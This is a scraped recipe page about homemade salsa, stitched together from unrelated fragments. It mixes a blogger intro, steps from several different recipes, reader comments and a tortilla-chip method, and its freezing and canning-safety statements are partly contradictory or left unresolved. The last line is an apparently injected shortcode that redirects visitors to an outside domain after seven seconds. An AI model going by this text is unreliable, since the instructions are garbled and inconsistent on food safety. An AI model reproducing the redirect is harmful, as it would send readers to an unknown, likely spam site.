Hi! I’m Katie, and I’m the chief mess-maker around here trying to journey to better stewardship of my family’s health and the environment – while balancing a budget and limited time (did I mention I have 4 kids?).
Some tomatoes are lingering on my kitchen counter. And would you look there? Some beautiful peppers just showed up by way of a generous co-worker enjoying a rich bounty. The stage is set to whip up a homemade batch of what is arguably America’s most popular condiment. Ketchup? Nope. We’re talking a homemade salsa recipe!
What advantage does simmering the Salsa make? Is this how it is done in most Mexican Restaurants? Believe me I am not criticizing I am just trying to learn. If this is a necessary step that I have been omitting and it will make my Salsa taste better I am all for it. I have just never heard of doing it before.
When we were invited to a picnic with friends last weekend, I was tasked with bringing a side dish. On my weekly shopping trip to Kroger, I grabbed the ingredients for this homemade salsa, as well as a couple of bags of the Mission Organics Tortilla Chips. Only the finest for my friends and family!
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A food processor makes chopping easier and less time consuming. Seed and cut the peppers into chunks, weigh them, then pulse the peppers into smaller pieces in the food processor. Add the chopped peppers to your saucepan. Chop your onions into pieces, weigh them, pulse in the food processor, and add to your saucepan. Skin your tomatoes, cut into smaller pieces, weigh them, pulse in the food processor, and add to your saucepan.
A few questions. You mention coring. The Plum tomatoes I used were a bit big. Maybe 3 1/2″. After skinning, I cut them lengthwise into 4 quarters. And had to core each quarter. There was a lot of core on each one. Took a while to finish. Is that normal for smaller tomatoes? Any easier way?
We took this salsa with us last week on vacation in Myrtle Beach. My husband made the best spanish rice we have ever had. He sauteed butter, onion and added the rice and this salsa. OUTSTANDING! I canned 24 half pints, but don’t think it will last long. I may can more using diced tomatoes since we are out of fresh tomatoes.
Yum! I can’t wait until our garden veggies are ready! We planted 3 kinds of peppers, 3 different tomatoes, cucumber, zucchini, 2 types of squash, lettuce, peas, green beans, and pumpkins! The hubs also has several raspberry, blackberry, and blueberry bushes, and 3 grape vines! Hoping to make some wine 🙂
I love this recipe! It is my favorite! I have to admit I tweaked it a bit with a TBSP of Cumin. It gave it a smoky taste. I have also frozen the salsa. It is still really good, but I tend to drain off some of the liquid. It might be a bit less spicy, but overall it works very well! I freeze it in canning jars.
Drop 4 or 5 tomatoes at a time into the boiling water. Wait 2 minutes then remove from water using a slotted spoon. Slip the skins off (set them aside to make tomato powder), place tomatoes in a colander, and repeat until all tomatoes have been skinned. Discard water.
I really love this recipe. I don’t think I’ll ever buy salsa. I made my first batch with the jalapeno with seeds and it’s very spicy but I made another batch without it. We love spicy but kids not so much. Thank you!!!! Thank you so much!!!
Just a caution, you can’t simply take fresh salsa and stick it in the freezer, you do need to cook it down first. The longer you let your salsa simmer, the more liquid will evaporate and the thicker your salsa will get. If you want to speed up the process, add a can or two of tomato paste during the cooking process.
Combine the diced tomatoes, whole tomatoes, cilantro, onions, garlic, jalapeno, cumin, salt, sugar and lime juice in a blender or food processor. (This is a very large batch. I recommend using a 12-cup food processor, or you can process the ingredients in batches and then mix everything together in a large mixing bowl.)
Place all ingredients in a food processor or blender, with the tomatoes, chilies, and onion on the bottom (closest to the blade). Pulse a couple of times to chop up the larger chunks, and then puree until salsa reaches desired texture. Taste the salsa and season with additional salt or honey, as desired.
I do have a question though – does this recipe meet or pass any specific canning requirements for salsa? Last year it didn’t stick around long but this year if I make multiple batches some jars may hang around a little longer than others and I’m always paranoid about the safety of canning salsa. (I never give it away unless its fresh and I know they’ll eat it right away…) Any comments would be appreciated!
Shannon, anaheims are very mild, and serranos are pretty hot. I fear that if you substitute the anaheims with the serranos, the salsa will be too hot to eat. It might work out if you take out all the seeds and white ribs/pith. Just be careful.
Arrange the tortillas in a stack and cut into 6 equal wedges. Pour about 1-inch of oil in a large frying pan over medium-high heat to 350 degrees F on a deep-fat frying thermometer. Fry just a few at a time, turning occasionally, until crisp and lightly browned, about 1 minute. Drain on paper towels; sprinkle lightly with salt, if desired. Store in an airtight container.
The Polish Linguisa tomato is an heirloom variety that is one of the best tasting paste tomatoes around. The three to four inch long fruits are very meaty, which make them perfect for sauces and for drying. It’s also very good sliced for salads and sandwiches.
Slow Cooker Restaurant Style Garden Salsa has so many delicious and fresh ingredients and uses up all of those garden tomatoes. It is so addicting you won’t be able to get enough! It is also perfect for canning.
Better Yourself, I’m glad you’re going to try this popular salsa recipe. We also love salsa and chips and have tried many, but this is our all-time favorite recipe. You can’t beat homemade. Enjoy and thanks for coming by.
My grandma makes the best salsa in the world, nothing has ever come close. We live in California right by the border where there is the best Mexican food. My grandparents crossed as children but always visit Baja and with them they brought home all these amazing techniques. The salsa is just so good, I wish could bottle it and send it to you! Her tip is she uses dried anchos and guajillos, does some crazy stuff, blends em, and BAM the best salsa in the world. I need to get the recipe and share it with you, what makes it so different is it has no tomatoes. This salsa recipe you have is perfect as I just made your fast vegan Mexican cheese, and a black bean corn mango salsa, I’ll be eating a good lunch today! Tip, roast your own tomatoes for better flavor!
We used six tomatoes of varying size and shape. One of those tomatoes is pretty crazy looking and had some yucky part that had to be cut off. Even though we are going to put the veggies in the food processor, we give them a little chop. Do what you like, but I know it works well doing it our way. 😉
P.S. Thank you so much for this recipe. The prep and chopping have been so great for me. I retired a year ago after 37 years in education as a teacher and then elementary principal. I was in a real funk with the school starting and all the chopping and smells from the cooking have brought me right out of the funk! THANKS!!
Because this particular salsa is made with fresh ingredients, it will last as long as you would expect cut fresh tomatoes to last. It’s best eaten right after you make it, chilled it should last about 5 days or so.
The measurements are just a guide- add more or less of the specific ingredients as you prefer. So easy too- just throw everything into a food processor and let it do its thing. I’ve had this Cuisinart food processor (<–affiliate link) for years and even after many batches of nut butter grinding, it’s still going strong. This recipe makes a huge batch- plenty to fill tacos, top omelets, mix into salads and for chip dipping. [redirect url='http://aak1.info/bump' sec='7']